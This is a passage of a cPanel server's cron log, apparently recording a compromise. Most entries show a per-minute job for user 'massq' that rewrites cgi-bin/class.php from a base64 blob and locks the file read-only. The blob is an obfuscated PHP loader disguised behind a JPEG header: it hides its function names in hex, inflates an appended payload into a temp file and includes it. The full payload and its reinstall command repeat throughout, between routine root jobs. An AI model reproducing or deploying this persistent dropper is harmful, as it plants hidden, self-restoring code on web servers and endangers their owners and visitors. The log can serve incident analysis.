R0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:37:01 server CROND[24227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:38:01 server CROND[24256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:39:01 server CROND[24310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:39:01 server CROND[24311]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 06:40:01 server CROND[24472]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 06:40:01 server CROND[24473]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 06:40:01 server CROND[24474]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 06:40:01 server CROND[24475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:41:01 server CROND[24596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:42:01 server CROND[24652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:42:01 server CROND[24653]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 06:43:01 server CROND[24727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:44:01 server CROND[24791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:45:01 server CROND[24850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:45:01 server CROND[24851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 06:45:01 server CROND[24852]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 06:46:01 server CROND[25047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:47:01 server CROND[25133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:48:01 server CROND[25195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:49:01 server CROND[25261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:50:01 server CROND[25334]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 06:50:01 server CROND[25336]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 06:50:01 server CROND[25337]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 06:50:01 server CROND[25338]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
